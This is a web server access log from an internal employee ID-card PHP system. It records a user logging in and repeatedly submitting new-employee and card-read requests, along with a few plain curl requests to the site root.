192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [04/Sep/2025:11:07:16 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:16 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [04/Sep/2025:11:07:19 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.222 - - [04/Sep/2025:11:07:19 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:19 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:19 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.222 - - [04/Sep/2025:11:07:19 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:19 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865
192.168.11.222 - - [04/Sep/2025:11:07:26 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50906 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:25 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50906
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [04/Sep/2025:11:07:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:37 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:37 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:07:38 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [04/Sep/2025:11:07:38 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:47 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:47 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.222 - - [04/Sep/2025:11:08:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:08:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.11.222 - - [04/Sep/2025:11:08:16 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 1015 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:08:16 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 1015
192.168.11.222 - - [04/Sep/2025:11:08:55 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:08:55 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:08:56 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:08:56 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:09:09 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:09:09 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
100.64.0.1 - - [04/Sep/2025:11:09:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:09:10 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:09:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:09:43 +0800] "GET / HTTP/1.1" 200 439
192.168.11.222 - - [04/Sep/2025:11:10:18 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 309 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:10:18 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 309
192.168.11.222 - - [04/Sep/2025:11:11:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:11:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:11:05 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:11:05 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:11:19 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:11:19 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:12:31 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 6833 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:12:31 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 6833
192.168.11.222 - - [04/Sep/2025:11:12:43 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:12:43 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:12:44 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:12:44 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:12:57 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:12:57 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:13:32 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:13:32 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:13:32 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:13:32 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:13:47 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:13:47 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:13:47 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178
192.168.11.222 - - [04/Sep/2025:11:13:47 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:13:51 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:13:51 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:14:56 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:14:56 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:14:56 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:14:56 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:15:13 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:15:13 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:16:00 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:16:00 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:16:00 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:16:00 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:16:13 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:16:13 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:16:13 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178
192.168.11.222 - - [04/Sep/2025:11:16:13 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:16:16 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:16:16 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:17:01 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:17:01 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:17:01 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:17:01 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:17:15 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:17:15 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:17:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [04/Sep/2025:11:17:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
